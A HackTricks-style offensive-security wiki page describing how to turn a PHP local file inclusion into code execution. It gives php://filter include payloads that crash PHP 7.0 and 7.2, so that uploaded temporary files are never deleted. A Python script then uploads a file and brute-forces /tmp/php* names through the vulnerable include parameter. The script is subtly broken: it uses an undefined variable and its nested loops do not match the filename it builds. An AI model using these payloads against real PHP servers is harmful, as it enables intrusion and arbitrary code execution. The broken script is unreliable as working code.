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92 lines
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4.6 KiB
Markdown
92 lines
No EOL
4.6 KiB
Markdown
# LFI2RCE via Segmentation Fault
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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According to the writeups [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (second part) and [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), the following payloads caused a segmentation fault in PHP:
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```php
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// PHP 7.0
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include("php://filter/string.strip_tags/resource=/etc/passwd");
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// PHP 7.2
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include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
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```
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You should know that if you **send** a **POST** request **containing** a **file**, PHP will create a **temporary file in `/tmp/php<something>`** with the contents of that file. This file will be **automatically deleted** once the request was processed.
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If you find a **LFI** and you manage to **trigger** a segmentation fault in PHP, the **temporary file will never be deleted**. Therefore, you can **search** for it with the **LFI** vulnerability until you find it and execute arbitrary code.
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You can use the docker image [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) for testing.
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```python
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# upload file with segmentation fault
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import requests
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url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
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files = {'file': open('la.php','rb')}
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response = requests.post(url, files=files)
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# Search for the file (improve this with threads)
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import requests
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import string
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import threading
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charset = string.ascii_letters + string.digits
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host = "127.0.0.1"
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port = 80
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base_url = "http://%s:%d" % (host, port)
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def bruteforce(charset):
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for i in charset:
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for j in charset:
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for k in charset:
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for l in charset:
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for m in charset:
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for n in charset:
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filename = prefix + i + j + k
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url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
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print url
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response = requests.get(url)
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if 'spyd3r' in response.content:
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print "[+] Include success!"
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return True
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def main():
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bruteforce(charset)
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if __name__ == "__main__":
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main()
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```
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %} |